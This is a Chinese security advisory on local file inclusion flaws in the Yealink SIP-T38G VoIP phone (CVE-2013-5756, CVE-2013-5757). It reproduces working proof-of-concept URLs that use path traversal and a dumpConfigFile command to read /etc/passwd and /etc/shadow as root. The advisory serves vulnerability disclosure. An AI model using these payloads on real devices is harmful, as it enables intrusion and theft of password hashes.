linux 测试t3协议,Yealink网络电话SIP-T38G本地文件包含漏洞

发布日期：2014-08-03

更新日期：2014-08-11

受影响系统：

yealink SIP-T38G

描述：

--------------------------------------------------------------------------------

CVE(CAN) ID: CVE-2013-5756

SIP-T38G是亿联千兆彩屏网络电话。

Yealink VoIP Phone SIP-T38G存在安全漏洞，cgi-bin/cgiServer.exx没有正确过滤用户输入，特别是"page"参数值，通过精心构造的请求，经过身份验证的远程攻击者可利用此漏洞访问任意文件。

链接：http://osvdb.org/show/osvdb/108079

*>

测试方法：

--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Title: Yealink VoIP Phone SIP-T38G Local File Inclusion

Author: Mr.Un1k0d3r & Doreth.Z10 From RingZer0 Team

Vendor Homepage: http://www.yealink.com/Companyprofile.aspx

Version: VoIP Phone SIP-T38G

CVE: CVE-2013-5756, CVE-2013-5757

Description:

Web interface contain a vulnerability that allow any page to be included.

We are able to disclose /etc/passwd & /etc/shadow

POC:

Using the page parameter (CVE-2013-5756):

http://

[host]/cgi-bin/cgiServer.exx?page=..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

http://

[host]/cgi-bin/cgiServer.exx?page=..%2f..%2f..%2f..%2f..%2f..%2fetc%2fshadow

Using the command parameter (CVE-2013-5757):

http://[host]/cgi-bin/cgiServer.exx?command=dumpConfigFile("/etc/shadow")

*By viewing the shadow file we are able to conclude that cgiServer.exx run

under the root privileges. This lead to CVE-2013-5759.

建议：

--------------------------------------------------------------------------------

厂商补丁：

yealink

-------

目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://yealink.com